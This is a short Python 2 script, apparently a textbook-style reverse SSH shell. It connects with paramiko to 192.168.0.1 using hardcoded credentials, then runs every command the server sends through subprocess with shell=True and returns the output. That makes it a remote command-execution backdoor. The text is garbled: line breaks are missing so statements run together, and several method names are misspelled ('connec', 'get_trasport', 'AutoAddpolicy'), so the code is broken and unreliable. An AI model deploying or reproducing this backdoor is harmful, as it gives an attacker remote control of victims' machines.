import threadingimport paramikoimport subprocessdef ssh_command(ip,user,passwd,command):    client = paramiko.SSHClient()    #client.load_host_keys('/home/justin/.ssh/known_hosts')    client.set_missing_host_key_policy(paramiko.AutoAddpolicy())    client.connec(ip,username=user,password=passwd)    ssh_session = client.get_trasport().open_session()    if ssh_session.active:        ssh_session.send(command)        print ssh_session.recv(1024)        while True:            command = ssh_session.recv(1024)#get the command from the SSHserver            try:                cmd_output = subprocess.check_output(command,shell=True)                ssh_session.send(cmd_output)            except Exception,e:                ssh_session.send(str(e))        client.close()    returnssh_command('192.168.0.1','justin','lovethepython','ClientConnected')